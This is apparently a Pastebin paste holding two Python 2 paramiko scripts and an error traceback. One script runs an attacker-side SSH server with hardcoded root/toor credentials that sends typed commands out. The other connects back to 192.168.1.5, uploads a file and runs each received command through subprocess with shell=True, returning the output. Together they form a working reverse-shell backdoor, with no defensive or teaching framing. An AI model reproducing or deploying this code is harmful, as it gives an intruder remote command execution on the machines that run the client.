Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import socket
- import paramiko
- import threading
- import sys
- host_key = paramiko.RSAKey(filename='test_rsa.key')
- host_ip = '192.168.1.5'
- username='root'
- password='toor'
- class Server (paramiko.ServerInterface):
- def _init_(self):
- self.event = threading.Event()
- def check_channel_request(self, kind, chanid):
- if kind == 'session':
- return paramiko.OPEN_SUCCEEDED
- return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED
- def check_auth_password(self, username, password):
- if (username == 'root') and (password == 'toor'):
- return paramiko.AUTH_SUCCESSFUL
- return paramiko.AUTH_FAILED
- try:
- sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
- sock.bind((host_ip, 22))
- sock.listen(100)
- print '[+] Listening for connection ...'
- client, addr = sock.accept()
- except Exception, e:
- print '[-] Listen/bind/accept failed: ' + str(e)
- sys.exit(1)
- print '[+] Got a connection!'
- try:
- t = paramiko.Transport(client)
- try:
- t.load_server_moduli()
- except:
- print '[-] (Failed to load moduli -- gex will be unsupported.)'
- raise
- t.add_server_key(host_key)
- server = Server()
- try:
- t.start_server(server=server)
- except paramiko.SSHException, x:
- print '[-] SSH negotiation failed.'
- chan = t.accept(20)
- print '[+] Authenticated!'
- print chan.recv(1024)
- chan.send('Yeah i can see this')
- while True:
- command= raw_input("Enter command: ").strip('n')
- chan.send(command)
- print chan.recv(1024) + 'n'
- except Exception, e:
- print '[-] Caught exception: ' + ': ' + str(e)
- try:
- t.close()
- except:
- pass
- sys.exit(1)
- import paramiko
- import threading
- import subprocess
- from scp import SCPClient
- host_ip = '192.168.1.5'
- username='root'
- password='toor'
- client = paramiko.SSHClient()
- client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
- client.connect(host_ip, username='root',password='toor')
- chan = client.get_transport().open_session()
- chan.send('Hey i am connected :) ')
- print chan.recv(1024)
- scp_client = SCPClient( client.get_transport())
- scp_client.put("aka.txt","aka.txt")
- scp_client.close()
- while True:
- command = chan.recv(1024)
- try:
- CMD = subprocess.check_output(command, shell=True)
- if (CMD !='') :
- chan.send(CMD)
- else :
- chan.send(' Done my friend :D ')
- except Exception,e:
- chan.send(str(e))
- client.close
- Traceback (most recent call last):
- File "client.py", line 23, in <module>
- scp_client.put("aka.txt","aka.txt")
- File "/home/lightcannon/.local/lib/python2.7/site-packages/scp.py", line 145, in put
- self.sanitize(asbytes(remote_path)))
- File "/home/lightcannon/.local/lib/python2.7/site-packages/paramiko/channel.py", line 63, in _check
- return func(self, *args, **kwds)
- File "/home/lightcannon/.local/lib/python2.7/site-packages/paramiko/channel.py", line 241, in exec_command
- self._wait_for_event()
- File "/home/lightcannon/.local/lib/python2.7/site-packages/paramiko/channel.py", line 1198, in _wait_for_event
- raise e
- paramiko.ssh_exception.SSHException: Channel closed.
Add Comment
Please, Sign In to add comment